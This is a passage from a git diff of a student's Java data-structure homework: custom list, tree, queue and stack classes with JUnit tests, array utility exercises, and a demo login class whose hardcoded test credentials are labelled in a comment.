+you can run SuitTest for testing whole file.
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/ArrayList.java b/group23/729693763/First_Homework1/src/com/danny/hw1/ArrayList.java
new file mode 100644
index 0000000000..ccb3bcb12c
--- /dev/null
+++ b/group23/729693763/First_Homework1/src/com/danny/hw1/ArrayList.java
@@ -0,0 +1,117 @@
+package com.danny.hw1;
+
+import java.lang.reflect.Array;
+import java.util.Arrays;
+
+import javax.print.attribute.Size2DSyntax;
+
+public class ArrayList implements List{
+	//ArrayList Size
+	private int size=0;
+	private int array_len=2;
+
+	//total element in here
+	private Object[] elementData = new Object[array_len];
+
+	@Override
+	public void add(Object o) {
+		// TODO Auto-generated method stub
+		adjustCapacity();
+		this.elementData[size++] = o;
+	}
+
+	@Override
+	public void add(int index, Object o) {
+		// TODO Auto-generated method stub
+		//Check range. if index is invalid,then would not add anythings
+		rangeCheckForAdd(index);
+
+		adjustCapacity();
+		System.arraycopy(elementData, index, elementData, 
+						 index + 1,size - index);
+		this.elementData[index] = o;
+		this.size++;
+
+	}
+
+	@Override
+	public Object get(int index) {
+		// TODO Auto-generated method stub
+		rangeCheckExist(index);
+		
+		return elementData[index];
+
+	}
+
+	@Override
+	public Object remove(int index) {
+		// TODO Auto-generated method stub
+		rangeCheckExist(index);
+		
+		Object oldValue = elementData[index];
+		//deal with copy operation
+        int moveStep = size - index - 1;
+        if ( moveStep > 0 )
+            System.arraycopy(elementData, index+1, elementData, index,moveStep);
+        elementData[--size] = null; // clear to let GC do its work
+
+        return oldValue;
+
+	}
+
+	@Override
+	public int size() {
+		// TODO Auto-generated method stub
+		return this.size;
+	}
+	
+	//Get Iterator
+	public Iterator iterator() {
+		return new ArrayListIterator();
+	}
+
+	/*******  Iterator  *******/
+	private class ArrayListIterator implements Iterator{
+
+		private int currentIndex = 0;
+		
+		@Override
+		public boolean hasNext() {
+			return currentIndex < size();
+		}
+
+		@Override
+		public Object next() {
+			rangeCheckExist(currentIndex);
+			
+			return elementData[currentIndex++];
+		}
+	}
+	
+
+	/*******Inner function*******/
+	//Increase arraylist size
+	private void adjustCapacity(){
+		//array length can not satisfy data size;
+		if ( this.array_len < size() + 1 ) {
+			this.array_len *= 2;
+			this.elementData = Arrays.copyOf(elementData, array_len);
+		} else {
+			return ;
+		}
+	}
+
+	private void rangeCheckForAdd(int index) {
+		//Add operation is allow to add value in [ size() ] even if [ size() ] has not data
+		if ( index > size() || index < 0 )
+			throw new IndexOutOfBoundsException("Invalid Adding Index:"+index);
+	}
+	private void rangeCheckExist(int index) {
+		if ( index >= size() || index < 0 )
+			throw new IndexOutOfBoundsException("Invalid Index:"+index);
+	}
+
+
+
+
+}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/BinaryTreeNode.java b/group23/729693763/First_Homework1/src/com/danny/hw1/BinaryTreeNode.java
new file mode 100644
index 0000000000..8e3178b50b
--- /dev/null
+++ b/group23/729693763/First_Homework1/src/com/danny/hw1/BinaryTreeNode.java
@@ -0,0 +1,101 @@
+package com.danny.hw1;
+
+import java.util.Map;
+import java.util.TreeMap;
+
+public class BinaryTreeNode {
+	private Object data;
+	private BinaryTreeNode left;
+	private BinaryTreeNode right;
+	
+	public BinaryTreeNode insert(Object o){
+		if ( this.data == null && left == null && right == null ) {
+			this.data = o;
+			return this;
+		} else {
+			BinaryTreeNode temp = findNode(this, o);
+
+			BinaryTreeNode newNode = new BinaryTreeNode();
+			newNode.data = o;
+			//assert more than one null node in the temp(left,right,or both);
+			if ( temp.compareTo(o) >= 0 ) {
+				temp.left = newNode;
+			} else {
+				temp.right = newNode;
+			}
+			return newNode;
+		}
+	}
+		
+	public BinaryTreeNode() {
+		// TODO Auto-generated constructor stub
+		data=null;
+		left =null;
+		right = null;
+		
+	} 
+	
+	public Object getData() {
+		return data;
+	}
+	public void setData(Object data) {
+		this.data = data;
+	}
+	public BinaryTreeNode getLeft() {
+		return left;
+	}
+	public void setLeft(BinaryTreeNode left) {
+		this.left = left;
+	}
+	public BinaryTreeNode getRight() {
+		return right;
+	}
+	public void setRight(BinaryTreeNode right) {
+		this.right = right;
+	}
+	
+	private int compareTo(Object o){
+		// o1 > o2 == 1; o1 = o2 == 0 ; o1 < o2 == -1		
+		//假设这个比较现在只用在数字上
+		return Integer.parseInt(this.data.toString()) - Integer.parseInt(o.toString());
+	}
+	
+	private static BinaryTreeNode findNode(BinaryTreeNode root,Object o){
+		if ( root.left == null && root.right == null || 
+		   ( root.compareTo(o) < 0 && root.right == null) ||
+		   ( root.compareTo(o) >= 0 && root.left == null) ){
+			return root;
+		} else if ( root.compareTo(o) >= 0 ) {
+			//root data is bigger than object
+			return findNode(root.left, o);
+		} else {
+			return findNode(root.right, o);
+		}
+//			else if(root.compareTo(o) < 0 ){
+//			return findNode(root.right, o);
+//		}
+//		
+	}
+
+	//For Test value
+	private Map<Object, Integer> teMap = new TreeMap<>();
+	public void printWholeTree(BinaryTreeNode root,int layer){
+		if(root == null) {
+			return ;
+		}
+		teMap.put(root.data,layer);
+
+		layer++;
+		printWholeTree(root.left,layer);
+		printWholeTree(root.right,layer);
+		
+	}
+
+	public Map<Object,Integer > getTeMap() {
+		return teMap;
+	}
+
+	public void setTeMap(Map<Object, Integer> teMap) {
+		this.teMap = teMap;
+	}
+}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/Iterator.java b/group23/729693763/First_Homework1/src/com/danny/hw1/Iterator.java
new file mode 100644
index 0000000000..b1ff654263
--- /dev/null
+++ b/group23/729693763/First_Homework1/src/com/danny/hw1/Iterator.java
@@ -0,0 +1,6 @@
+package com.danny.hw1;
+
+public interface Iterator {
+	public boolean hasNext();
+	public Object next();
+}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/LinkedList.java b/group23/729693763/First_Homework1/src/com/danny/hw1/LinkedList.java
new file mode 100644
index 0000000000..64c9b9bbca
--- /dev/null
+++ b/group23/729693763/First_Homework1/src/com/danny/hw1/LinkedList.java
@@ -0,0 +1,296 @@
+package com.danny.hw1;
+
+public class LinkedList implements List{
+
+	private Node Head = null;
+	private Node Tail = null;
+	private int size = 0;
+	
+	@Override
+	public void add(Object o) {
+		// TODO Auto-generated method stub			
+		addLastNode(o);		
+	}
+
+	@Override
+	public void add(int index, Object o) {
+		// TODO Auto-generated method stub
+		checkPositionIndex(index);
+		
+		if ( index == size() ){
+			addLastNode(o);
+		} else { 
+			addBeforeNode(index,o);
+		}	
+	}
+
+	@Override
+	public Object get(int index) {
+		// TODO Auto-generated method stub
+		checkElementIndex(index);
+		
+		Node findGetNode = findIndexNode(index);
+		return findGetNode.data;		
+	}
+
+	@Override
+	public Object remove(int index) {
+		// TODO Auto-generated method stub
+		checkElementIndex(index);
+		Node deleteNode = null;
+		
+		//delete all node
+		if ( size() == 1 ) {
+			deleteNode = this.Head;
+			this.Head = null;
+			this.Tail = null;			
+		} else if ( index == 0 ) {
+			//Remove Head
+			deleteNode = this.Head;
+			this.Head = this.Head.next;			
+		} else if ( index == size() - 1) {
+			//Remove Tail
+			deleteNode = this.Tail;
+			Node findDeleteNode = findIndexNode(index - 1);
+			findDeleteNode.next = null;
+			this.Tail = findDeleteNode;
+		} else {
+			//Remove Mid
+			Node findDeleteNode = findIndexNode(index - 1);
+			deleteNode = findDeleteNode.next;
+			findDeleteNode.next = findDeleteNode.next.next;
+		}
+		this.size--;
+		return deleteNode.data;
+	}
+
+	@Override
+	public int size() {
+		// TODO Auto-generated method stub
+		return this.size;
+	}
+	
+	@Override
+	public Iterator iterator(){
+		return new LinkedListIterator();
+	}
+	
+	/************Other function (without Interface function)**************/
+	
+	public void addFirst(Object o){
+		Node newNode = new Node();
+		newNode.data = o;
+		newNode.next = this.Head;
+		this.Head = newNode;
+	}
+	
+	public Object removeFirst(){
+		checkElementIndex(0);
+		
+		Node deleteNode = this.Head;
+		this.Head = this.Head.next;
+		
+		this.size--;
+		return deleteNode.data;
+	}
+	
+	public Object removeLast(){
+		checkElementIndex(size() - 1);
+		
+		Node deleteNode = this.Tail;
+		if ( this.Head == this.Tail ) {
+			this.Head = this.Tail = null;
+		} else {
+			this.Tail = findIndexNode(size() - 2);
+		}
+		this.size--;
+		return deleteNode.data;
+		
+	}
+	/************Iterator**************/
+	private class LinkedListIterator implements Iterator{
+		private Node currentNode;
+		private int currentIndex;
+		
+		public LinkedListIterator() {
+			// TODO Auto-generated constructor stub
+			this.currentIndex = 0;
+			this.currentNode = new Node();
+		}
+		@Override
+		public boolean hasNext() {
+			// TODO Auto-generated method stub
+			return currentIndex < size();
+		}
+
+		@Override
+		public Object next() {
+			// TODO Auto-generated method stub
+			checkElementIndex(currentIndex);
+			if ( currentNode.data == null ) {
+				this.currentNode = findIndexNode(currentIndex);
+			}
+				Object value = currentNode.data;
+				currentNode = currentNode.next;
+				currentIndex++;
+			return value;
+		}	
+	}
+		
+	/************Node class for supporting LinkedList**************/
+	private static class Node{
+		Object data ;
+		Node next ;
+		public Node() {
+			// TODO Auto-generated constructor stub
+			data = null;
+			next = null;
+		}
+	}
+	
+	/************Inner function **************/
+	private void checkPositionIndex(int index){
+		 if ( !( index >= 0 && index <= size ) )
+			 throw new IndexOutOfBoundsException("Invalid Index:"+index);
+	}
+	
+	private void checkElementIndex(int index){
+		 if ( !( index >= 0 && index < size ) )
+			 throw new IndexOutOfBoundsException("Invalid Index:"+index);
+	}
+		
+	private void addLastNode(Object o){	
+		Node newNode = new Node();
+		newNode.data = o;
+		
+		if ( this.Head == null ) {
+			this.Head = newNode;
+			this.Tail = newNode;			
+		} else {
+			if(this.Head == this.Tail ){								
+				this.Tail = newNode;
+				this.Head.next = this.Tail;
+			}
+			else{
+			//Tail and Head are different Object, 			
+				this.Tail.next = newNode;
+				this.Tail = newNode;
+			}
+		}
+		this.size++;
+	}
+	
+	private void addBeforeNode(int index,Object o){
+		Node newNode = new Node();
+		Node beforeInserNode = this.Head;
+		newNode.data = o;
+
+		// if index is in Head
+		if ( index == 0 ) { 
+			newNode.next = this.Head;
+			this.Head = newNode;
+		} else {
+			for (int i=0; i<index ;i++ ){
+				beforeInserNode = beforeInserNode.next;
+			}
+			newNode.next = beforeInserNode.next;
+			beforeInserNode.next = newNode;
+		}
+
+		this.size++;
+	}
+	
+	private Node findIndexNode(int index){
+		Node findGetNode = this.Head;
+		for ( int i=0; i< index; i++ ) {
+			findGetNode = findGetNode.next;
+		}
+		return findGetNode;
+	}
+
+}
+
+
+
+
+
+
+
+
+
+//
+///**
+// * 把该链表逆置
+// * 例如链表为 3->7->10 , 逆置后变为  10->7->3
+// */
+//public  void reverse(){		
+//	
+//}
+//
+///**
+// * 删除一个单链表的前半部分
+// * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
+// * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
+//
+// */
+//public  void removeFirstHalf(){
+//	
+//}
+//
+///**
+// * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
+// * @param i
+// * @param length
+// */
+//public  void remove(int i, int length){
+//	
+//}
+///**
+// * 假定当前链表和list均包含已升序排列的整数
+// * 从当前链表中取出那些list所指定的元素
+// * 例如当前链表 = 11->101->201->301->401->501->601->701
+// * listB = 1->3->4->6
+// * 返回的结果应该是[101,301,401,601]  
+// * @param list
+// */
+//public static int[] getElements(LinkedList list){
+//	return null;
+//}
+//
+///**
+// * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+// * 从当前链表中中删除在list中出现的元素 
+//
+// * @param list
+// */
+//
+//public  void subtract(LinkedList list){
+//	
+//}
+//
+///**
+// * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
+// * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
+// */
+//public  void removeDuplicateValues(){
+//	
+//}
+//
+///**
+// * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+// * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
+// * @param min
+// * @param max
+// */
+//public  void removeRange(int min, int max){
+//	
+//}
+//
+///**
+// * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
+// * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
+// * @param list
+// */
+//public  LinkedList intersection( LinkedList list){
+//	return null;
+//}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/List.java b/group23/729693763/First_Homework1/src/com/danny/hw1/List.java
new file mode 100644
index 0000000000..e71a86c78d
--- /dev/null
+++ b/group23/729693763/First_Homework1/src/com/danny/hw1/List.java
@@ -0,0 +1,10 @@
+package com.danny.hw1;
+
+public interface List {
+	void add(Object o);
+	void add(int index,Object o);
+	Object get(int index);
+	Object remove(int index);
+	int size();
+	Iterator iterator();
+}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/Queue.java b/group23/729693763/First_Homework1/src/com/danny/hw1/Queue.java
new file mode 100644
index 0000000000..58f957dd31
--- /dev/null
+++ b/group23/729693763/First_Homework1/src/com/danny/hw1/Queue.java
@@ -0,0 +1,25 @@
+package com.danny.hw1;
+
+public class Queue {
+	private LinkedList elementData = new LinkedList();
+
+	public void enQueue(Object o){	
+		elementData.add(o);
+	}
+
+	public Object deQueue(){
+		if ( size() > 0 ) {
+			return elementData.remove(0);
+		} else {
+			throw new IndexOutOfBoundsException("Queue is Null");
+		}
+	}
+
+	public boolean isEmpty(){
+		return size() == 0;
+	}
+
+	public int size(){
+		return elementData.size();
+	}
+}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/Stack.java b/group23/729693763/First_Homework1/src/com/danny/hw1/Stack.java
new file mode 100644
index 0000000000..165387695b
--- /dev/null
+++ b/group23/729693763/First_Homework1/src/com/danny/hw1/Stack.java
@@ -0,0 +1,40 @@
+package com.danny.hw1;
+
+public class Stack {
+	private ArrayList elementData = new ArrayList();
+
+	public void push(Object o){
+		this.elementData.add(o);
+
+	}
+
+	public Object pop(){		
+		int size = this.elementData.size();
+
+		if ( size > 0 ) {
+			return this.elementData.remove(size - 1 );
+		} else{
+			throw new IndexOutOfBoundsException("Stack is empty");
+		}
+	}
+
+	public Object peek(){
+
+		if ( size() > 0 ) {
+			return this.elementData.get(size() - 1 );
+		} else{
+			throw new IndexOutOfBoundsException("Stack is empty");
+		}
+	}
+	public boolean isEmpty(){
+		return size() == 0;
+	}
+
+	public int size(){
+		return this.elementData.size();
+	}
+
+	public Stack() {
+		// TODO Auto-generated constructor stub
+	}
+}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/test/ArrayListTest.java b/group23/729693763/First_Homework1/src/com/danny/hw1/test/ArrayListTest.java
new file mode 100644
index 0000000000..de4c734eb8
--- /dev/null
+++ b/group23/729693763/First_Homework1/src/com/danny/hw1/test/ArrayListTest.java
@@ -0,0 +1,80 @@
+package com.danny.hw1.test;
+
+import static org.junit.Assert.*;
+
+import java.lang.reflect.Array;
+import java.lang.reflect.Parameter;
+import java.util.Arrays;
+import java.util.Collection;
+
+import javax.print.attribute.standard.RequestingUserName;
+import javax.xml.crypto.Data;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameters;
+
+import com.danny.hw1.ArrayList;
+import com.danny.hw1.Iterator;
+import com.danny.hw1.test_al;
+
+import junit.extensions.TestSetup;
+
+
+public class ArrayListTest {
+
+	static Object[] Data = new Object[]{1,2,3,4,5,6,7,8};
+	ArrayList test;
+	@Before
+	public void setUp() throws Exception{
+		test = new ArrayList();
+		for(Object data: Data){
+			test.add(data);
+		}
+	}
+	
+	@Test
+	public void testAddObject() {
+		int len = test.size();
+		test.add(10);
+		assertEquals(len, test.size()-1);
+	}
+	
+	@Test
+	public void testAddIntObject() {
+		int len = test.size();
+		test.add(len, 10);
+		
+		assertEquals(len, test.size()-1);
+	}
+
+	@Test
+	public void testGet() {
+		assertEquals(Data[3], test.get(3));
+	}
+
+	@Test
+	public void testRemove() {
+		assertEquals(Data[4], test.remove(4));
+		assertEquals(Data.length-1, test.size());
+	}
+
+	@Test
+	public void testSize() {
+		assertEquals(Data.length, test.size());
+	}
+
+	@Test
+	public void testIterator() {
+		Iterator iterator =test.iterator();
+		for(Object i:Data){
+			if(iterator.hasNext()){
+				assertEquals(i,iterator.next());
+			}
+		}
+	}
+	
+
+}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/test/BinaryTreeNodeTest.java b/group23/729693763/First_Homework1/src/com/danny/hw1/test/BinaryTreeNodeTest.java
new file mode 100644
index 0000000000..2d99534098
--- /dev/null
+++ b/group23/729693763/First_Homework1/src/com/danny/hw1/test/BinaryTreeNodeTest.java
@@ -0,0 +1,48 @@
+package com.danny.hw1.test;
+
+import static org.junit.Assert.*;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import com.danny.hw1.BinaryTreeNode;
+import com.danny.hw1.LinkedList;
+
+public class BinaryTreeNodeTest {
+
+	static Object[] Data = new Object[]{5,10,3,2,15,12,56,8};
+	BinaryTreeNode test;
+	@Before
+	public void setUp() throws Exception{
+		test = new BinaryTreeNode();
+		for(Object data: Data){
+			test.insert(data);
+			
+		}
+	}
+	@Test
+	public void testPrintWholeTree(){
+		test.printWholeTree(test, 1);
+		int layer = 1;
+		int printNum = 0;
+		System.out.println("var {5,10,3,2,15,12,56,8} insert tree\n"+"Print binary tree:");
+		while(true){
+			if(printNum == test.getTeMap().size()) break;
+			for (Object key : test.getTeMap().keySet()) {
+				Integer value = test.getTeMap().get(key);
+
+				if (value.intValue() == layer){
+					System.out.print(key.toString()+"   ");
+					printNum++;
+				}
+				
+			}
+			System.out.println("");
+			layer++;
+		}
+		
+		
+	}
+	
+
+}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/test/LinkedListTest.java b/group23/729693763/First_Homework1/src/com/danny/hw1/test/LinkedListTest.java
new file mode 100644
index 0000000000..ab49d2823c
--- /dev/null
+++ b/group23/729693763/First_Homework1/src/com/danny/hw1/test/LinkedListTest.java
@@ -0,0 +1,86 @@
+package com.danny.hw1.test;
+
+import static org.junit.Assert.*;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import com.danny.hw1.ArrayList;
+import com.danny.hw1.Iterator;
+import com.danny.hw1.LinkedList;
+
+public class LinkedListTest {
+
+	static Object[] Data = new Object[]{1,2,3,4,5,6,7,8};
+	LinkedList test;
+	@Before
+	public void setUp() throws Exception{
+		test = new LinkedList();
+		for(Object data: Data){
+			test.add(data);
+		}
+	}
+
+	@Test
+	public void testAddObject() {
+		int len = test.size();
+		test.add(10);
+		assertEquals(len, test.size()-1);
+	}
+
+	@Test
+	public void testAddIntObject() {
+		int len = test.size();
+		test.add(len, 10);
+		
+		assertEquals(len, test.size()-1);
+	}
+
+	@Test
+	public void testGet() {
+		assertEquals(Data[3], test.get(3));
+	}
+
+	@Test
+	public void testRemove() {
+		System.out.println(Data[4]);
+		assertEquals(Data[4], test.remove(4));
+		assertEquals(Data.length -1, test.size());
+	}
+
+	@Test
+	public void testSize() {
+		assertEquals(Data.length, test.size());
+	}
+
+	@Test
+	public void testIterator() {
+		Iterator iterator =test.iterator();
+		for(Object i:Data){
+			if(iterator.hasNext()){
+				assertEquals(i,iterator.next());
+			}
+		}
+	}
+
+	@Test
+	public void testAddFirst() {
+		test.addFirst(10);
+		assertEquals(10, test.get(0));
+	}
+
+	@Test
+	public void testRemoveFirst() {
+		Object ans=test.get(0);
+		assertEquals(ans,test.removeFirst());
+		assertEquals(Data.length-1,test.size());
+	}
+
+	@Test
+	public void testRemoveLast() {
+		Object ans=test.get(Data.length - 1);
+		assertEquals(ans,test.removeLast());
+		assertEquals(Data.length-1,test.size());
+	}
+
+}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/test/QueueTest.java b/group23/729693763/First_Homework1/src/com/danny/hw1/test/QueueTest.java
new file mode 100644
index 0000000000..7292129e95
--- /dev/null
+++ b/group23/729693763/First_Homework1/src/com/danny/hw1/test/QueueTest.java
@@ -0,0 +1,47 @@
+package com.danny.hw1.test;
+
+import static org.junit.Assert.*;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import com.danny.hw1.LinkedList;
+import com.danny.hw1.Queue;
+
+public class QueueTest {
+
+	static Object[] Data = new Object[]{1,2,3,4,5,6,7,8};
+	Queue test;
+	@Before
+	public void setUp() throws Exception{
+		test = new Queue();
+		for(Object data: Data){
+			test.enQueue(data);
+		}
+	}
+
+	@Test
+	public void testEnQueue() {
+		Object t=10;
+		test.enQueue(t);	
+		assertEquals(Data.length+1,test.size());
+	}
+
+	@Test
+	public void testDeQueue() {
+		Object t=test.deQueue();
+		assertEquals(Data.length-1,test.size());
+		assertEquals(Data[0], t);
+	}
+	@Test
+	public void testIsEmpty() {
+		assertFalse(test.isEmpty());
+	}
+
+	@Test
+	public void testSize() {
+		assertEquals(Data.length,test.size());
+	}
+
+	
+}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/test/StackTest.java b/group23/729693763/First_Homework1/src/com/danny/hw1/test/StackTest.java
new file mode 100644
index 0000000000..11484c0043
--- /dev/null
+++ b/group23/729693763/First_Homework1/src/com/danny/hw1/test/StackTest.java
@@ -0,0 +1,54 @@
+package com.danny.hw1.test;
+
+import static org.junit.Assert.*;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import com.danny.hw1.Queue;
+import com.danny.hw1.Stack;
+
+public class StackTest {
+
+	static Object[] Data = new Object[]{1,2,3,4,5,6,7,8};
+	Stack test;
+	@Before
+	public void setUp() throws Exception{
+		test = new Stack();
+		for(Object data: Data){
+			test.push(data);
+		}
+	}
+
+	@Test
+	public void testPush() {
+		Object t=10;
+		test.push(t);	
+		assertEquals(Data.length+1,test.size());
+	}
+
+	@Test
+	public void testPop() {
+		assertEquals(Data[Data.length-1], test.pop());
+		assertEquals(Data.length-1, test.size());
+	}
+
+	@Test
+	public void testPeek() {
+		assertEquals(Data[Data.length-1], test.peek());
+		assertEquals(Data.length, test.size());
+	}
+
+	@Test
+	public void testIsEmpty() {
+		assertFalse(test.isEmpty());
+	}
+
+	@Test
+	public void testSize() {
+		assertEquals(Data.length, test.size());
+	}
+
+	
+
+}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/test/SuitTest.java b/group23/729693763/First_Homework1/src/com/danny/hw1/test/SuitTest.java
new file mode 100644
index 0000000000..25eb57411b
--- /dev/null
+++ b/group23/729693763/First_Homework1/src/com/danny/hw1/test/SuitTest.java
@@ -0,0 +1,17 @@
+package com.danny.hw1.test;
+
+import static org.junit.Assert.*;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Suite;
+import org.junit.runners.Suite.SuiteClasses;
+
+@RunWith(Suite.class)
+@Suite.SuiteClasses({ArrayListTest.class,BinaryTreeNodeTest.class,
+					LinkedListTest.class,QueueTest.class,StackTest.class
+					})
+public class SuitTest {
+
+}
diff --git a/group23/729693763/Second_Homework2/src/com/danny/hw2/ArrayUtil.java b/group23/729693763/Second_Homework2/src/com/danny/hw2/ArrayUtil.java
new file mode 100644
index 0000000000..af11509593
--- /dev/null
+++ b/group23/729693763/Second_Homework2/src/com/danny/hw2/ArrayUtil.java
@@ -0,0 +1,221 @@
+package com.danny.hw2;
+
+import java.util.Arrays;
+
+public class ArrayUtil {
+
+	/**
+	 * 给定一个整形数组a , 对该数组的值进行置换 例如： a = [7, 9 , 30, 3] , 置换后为 [3, 30, 9,7] 如果 a =
+	 * [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
+	 * 
+	 * @param origin
+	 * @return
+	 */
+	public void reverseArray(int[] origin) {
+		int size = origin.length;
+		int[] temp = new int[size];
+
+		for(int i=0;i < size; i++){
+			temp[i] = origin[size-i-1];
+		}
+		
+		for(int i=0;i<size;i++){
+			origin[i] = temp[i];
+		}
+	}
+
+	/**
+	 * 现在有如下的一个数组： int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}
+	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为： {1,3,4,5,6,6,5,4,7,6,7,5}
+	 * 
+	 * @param oldArray
+	 * @return
+	 */
+
+	public int[] removeZero(int[] oldArray) {
+		int oldArraySize = oldArray.length;
+		int resultSize = 0;
+		int[] temp = new int[oldArraySize];
+
+		for (int i = 0; i < oldArray.length; i++) {
+			if(oldArray[i] != 0){
+				temp[resultSize++] = oldArray[i];
+			}
+		}
+		return temp;
+	}
+
+	/**
+	 * 给定两个已经排序好的整形数组， a1和a2 , 创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的 例如 a1 =
+	 * [3, 5, 7,8] a2 = [4, 5, 6,7] 则 a3 为[3,4,5,6,7,8] , 注意： 已经消除了重复
+	 * 
+	 * @param array1
+	 * @param array2
+	 * @return
+	 */
+
+	public int[] merge(int[] array1, int[] array2) {
+		int array1Size = array1.length;
+		int array2Size = array2.length;
+		int[] result = new int[array1Size+array2Size];
+		int resultIndex = 0;
+		
+		for (int index1 = 0,index2 = 0; index1 < array1Size;) {
+			if ( index2 < array2Size ) {
+				if ( array1[index1] < array2[index2] ) {
+					result[resultIndex++] = array1[index1++];
+					break;
+				}
+				if( array1[index1] == array2[index2] ){
+					result[resultIndex++] = array1[index1++];
+					index2++;
+					break;
+				}
+				if( array1[index1] > array2[index2] ){
+					result[resultIndex++] = array2[index2++];
+					break;
+				}
+			} else{
+				result[resultIndex++] = array1[index1++];
+			}
+		}
+		System.out.println(resultIndex);
+		return Arrays.copyOf(result, resultIndex);
+		
+	}
+
+	/**
+	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
+	 * 注意，老数组的元素在新数组中需要保持 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
+	 * [2,3,6,0,0,0]
+	 * 
+	 * @param oldArray
+	 * @param size
+	 * @return
+	 */
+	public int[] grow(int[] oldArray, int size) {
+		int oldSize = oldArray.length;
+		int[] newArray= new int[oldSize+size];
+		
+		for ( int i = 0; i < newArray.length; i++) {
+			if ( i < oldSize ) {
+				newArray[i] = oldArray[i];
+			} else{
+				newArray[i] = 0;
+			}
+		}
+		return newArray;
+	}
+
+	/**
+	 * 斐波那契数列为：1，1，2，3，5，8，13，21...... ，给定一个最大值， 返回小于该值的数列 例如， max = 15 ,
+	 * 则返回的数组应该为 [1，1，2，3，5，8，13] max = 1, 则返回空数组 []
+	 * 
+	 * @param max
+	 * @return
+	 */
+	public int[] fibonacci(int max) {
+		if(max == 1){
+			return new int[0];
+		}
+		
+		int maxIndex = 1000;
+		int realIndex = 0;
+		int[] array=new int[maxIndex];
+		for (; realIndex <= array.length; realIndex++) {
+			int fibonacciNum = getFibonacciArray(realIndex+1);
+			if(fibonacciNum > max){
+				break;
+			}
+			array[realIndex] = fibonacciNum;
+		}
+		
+		
+		
+		return Arrays.copyOf(array, realIndex);
+	}
+	
+	
+	private int getFibonacciArray(int index){
+		
+		if(index == 0 || index == 1){
+			return index;
+		}
+		return getFibonacciArray(index - 1) + getFibonacciArray(index - 2); 
+	}
+	/**
+	 * 返回小于给定最大值max的所有素数数组 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
+	 * 
+	 * @param max
+	 * @return
+	 */
+	public int[] getPrimes(int max) {
+		int maxIndex = 1000;
+		int realSize = 0;
+		int[] array = new int[maxIndex];
+		for (int i = 0; i < max; i++) {
+			if(isPrimers(i)){
+				array[realSize++] = i;
+			}
+		}
+		return Arrays.copyOf(array, realSize);
+	}
+	private static boolean isPrimers(int n){
+		if (n <= 3) {
+			return n > 1;
+		}
+
+		for(int i=2;i<=Math.sqrt(n);i++){
+			if(n%i == 0)
+				return false;
+		}
+		return true;
+	}
+
+
+	/**
+	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
+	 * 
+	 * @param max
+	 * @return
+	 */
+	public int[] getPerfectNumbers(int max) {
+		int maxIndex = 1000;
+		int realIndex = 0;
+		int[] array = new int[maxIndex];
+		int sum = 0;
+		
+		for (int i = 1; i < max /2 +1; i++) {
+			if(max % i == 0){
+				sum += i;
+				array[realIndex++] = i;
+			}			
+		}
+		if(sum == max){
+			return Arrays.copyOf(array, realIndex);
+		}else{
+			return new int[0];
+		}
+		
+	}
+
+	/**
+	 * 用seperator 把数组 array给连接起来 例如array= [3,8,9], seperator = "-" 则返回值为"3-8-9"
+	 * 
+	 * @param array
+	 * @param s
+	 * @return
+	 */
+	public String join(int[] array, String seperator) {
+		String result="";
+		for (int i = 0; i < array.length; i++) {
+			result+= String.valueOf(array[i]) + seperator;
+		}
+		//去掉多余的一个seperator
+		return result.substring(0, result.length()-1);
+	}
+	
+	
+
+
+}
diff --git a/group23/729693763/Second_Homework2/src/com/danny/hw2/LoginAction.java b/group23/729693763/Second_Homework2/src/com/danny/hw2/LoginAction.java
new file mode 100644
index 0000000000..340d542dec
--- /dev/null
+++ b/group23/729693763/Second_Homework2/src/com/danny/hw2/LoginAction.java
@@ -0,0 +1,39 @@
+package com.danny.hw2;
+
+/**
+ * 这是一个用来展示登录的业务类， 其中的用户名和密码都是硬编码的。
+ * @author liuxin
+ *
+ */
+public class LoginAction{
+    private String name ;
+    private String password;
+    private String message;
+
+    public String getName() {
+        return name;
+    }
+
+    public String getPassword() {
+        return password;
+    }
+
+    public String execute(){
+            if("test".equals(name) && "1234".equals(password)){
+                this.message = "login successful";
+                return "success";
+            }
+            this.message = "login failed,please check your user/pwd";
+            return "fail";
+    }
+
+    public void setName(String name){
+        this.name = name;
+    }
+    public void setPassword(String password){
+        this.password = password;
+    }
